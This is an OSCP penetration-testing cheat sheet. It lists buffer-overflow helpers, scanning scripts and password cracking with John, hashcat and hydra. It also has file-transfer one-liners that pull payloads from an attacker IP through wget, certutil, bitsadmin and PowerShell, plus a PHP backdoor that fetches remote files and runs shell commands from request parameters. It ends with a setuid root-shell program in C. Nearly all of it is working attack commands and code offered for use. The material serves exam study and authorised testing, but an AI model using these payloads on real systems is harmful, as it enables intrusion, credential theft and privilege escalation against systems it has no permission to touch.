Useful OSCP Notes & Commands

Offensive Security OSCP Logo

Buffer Overflow

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4000 -q <insert your EIP Unique string>
badchar = (
“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10”
“\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”
“\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30”
“\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”
“\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50”
“\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”
“\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70”
“\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”
“\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90”
“\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”
“\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0”
“\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”
“\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0”
“\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”
“\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0”
“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”
)
255 bytes

Initial Enumeration Steps

nmap -sC -sV IP_ADDRnmap -sC -sV -p- IP_ADDRnmap -sU -sV --top-ports 20 IP_ADDRnmap --script vuln IP_ADDR
#!/usr/bin/perl
use strict;
use warnings;
my @topPorts = (52, 67, 68, 69, 123, 135, 137, 138, 139, 161, 162, 445, 500, 514,520,631,1434,1900,4500,49152);
my $nc = "/bin/nc";
my $outFile;
my $target;
if(@ARGV < 2) {
print("Usage: $0 <target> <output file> \n");
print("Example: perl $0 XXX.XXX.XXX.XXX udp_scan.txt \n");
print("cat udp_scan.txt | grep -v \"?\" \n");
exit(1);
}
($target, $outFile) = @ARGV;
print("Performing Top 20 UDP Port Scan against: $target \n");
print("Output File: $outFile \n");
open(FILE, ">", $target) or die("$!");
close(FILE);
print("Running: ");
foreach my $port (@topPorts) {
open(NETCAT, "-|", "$nc -nv -u -z -w 1 $target $port 2>>$outFile") or die("$!");
close(NETCAT);
print(".");
}
print(" DONE!\n");
perl script.pl 10.10.10.10 udp_scan.txt; cat udp_scan.txt | grep -v "?"
python3 autorecon.py -ct 4 -cs 10 -o ./ IP_1 IP_2 IP_3 IP_4

File Transfer Methods

wget http://IP_ADDR/file -O /path/to/where/you/want/file/to/gocurl http://IP_ADDR/filefetch http://IP_ADDR/filenc IP_ADDR PORT > OUTFILE (run nc -lvp PORT < infile on attacking machine)ftp -s:input.txttftp -i get file /path/on/victim
bitsadmin /transfer download /priority normal http://IP_ADDR/file C:\output\path (Works on Windows 7/Windows Server 2000+)nc IP_ADDR PORT > OUTFILE (run nc -lvp PORT < infile on attacking machine)ftp -s:input.txttftp -i get file /path/on/victimpowershell.exe -exec bypass -Command “& {iex((New-Object System.Net.WebClient).DownloadFile(‘http://IP_ADDR:PORT/FILE','C:\Users\user\AppData\Local\ack.exe'));}”certutil -urlcache -split -f “http://IP_ADDR/FILE" FILENAME
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >> wget.ps1
echo $url = “http://IP_ADDR/FILE" >> wget.ps1
echo $file = “FILE” >> wget.ps1
echo $webclient.DownloadFile($url,$file) >> wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File <filename>
echo $secpasswd = ConvertTo-SecureString “insert_plaintext_password_here” -AsPlainText -Force > execute.ps1
echo $mycreds = New-Object System.Management.Automation.PSCredential(“username”, $secpasswd) >> execute.ps1
echo $computer = “target_host” >> execute.ps1
echo [System.Diagnostics.Process]::Start(“C:\Users\user\Downloads\firewall.exe”, “”, $mycreds.Username, $mycreds.Password, $computer) >> execute.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File <filename>

Content Management System Scanning

cmsmap http://IP_ADDR -f (D,J…)droopescan scan drupal -u http://IP_ADDRwpscan --url http://IP_ADDR --enumerate u,p,t 

Full Interactive TTY Shell

PHP Backdoors

<?php if (isset($_REQUEST[‘fupload’])) { file_put_contents($_REQUEST[‘fupload’], file_get_contents(‘http://IP_ADDR/' . $_REQUEST[‘fupload’])); }; if (isset($_REQUEST[‘fexec’])) { echo ‘<pre>’ . shell_exec($_REQUEST[‘fexec’]) . ‘</pre>’; }; ?>
/usr/share/webshells/php/php-reverse-shell.php

Password Brute Forcing

unshadow passwd shadow > creds.txtjohn --wordlist=rockyou.txt creds.txt fcrackzip -u -D -p ‘rockyou.txt’ zip_filezip2john zip_file > hash.txtjohn --format=zip hash.txthydra -l username -P password_list IP_ADDR -V http-post-form ‘/path/login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location’ -t 25hashcat -a 0 -m hash-mode hash.txt rockyou.txt

OS, User, and Data Collection

rpm -qadkpg -lapt list --installed aptitude search ‘~i!~M’uname -auname -mcat /etc/*release*id
echo %USERNAME%echo %USERDOMAIN%systeminfo | findstr /B /C:”Domain”wmic computersystem get domainnet config WorkStationwmic os get osarchitecturenet user usernamewhoami /groups

Web Enumeration

nikto -h IP_ADDRgobuster -e -u http://IP_ADDR -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -s 200,204,301,302dirsearch -u https://IP_ADDR -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,txt,sh -x 404 -t 100wfuzz -w wordlist.txt --filter "c=200 and l>0" http://IP_ADDR/somepath.php?url=FUZZ

Setuid C Program to Compile

#include <unistd.h>

int main()
{
setuid(0);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}

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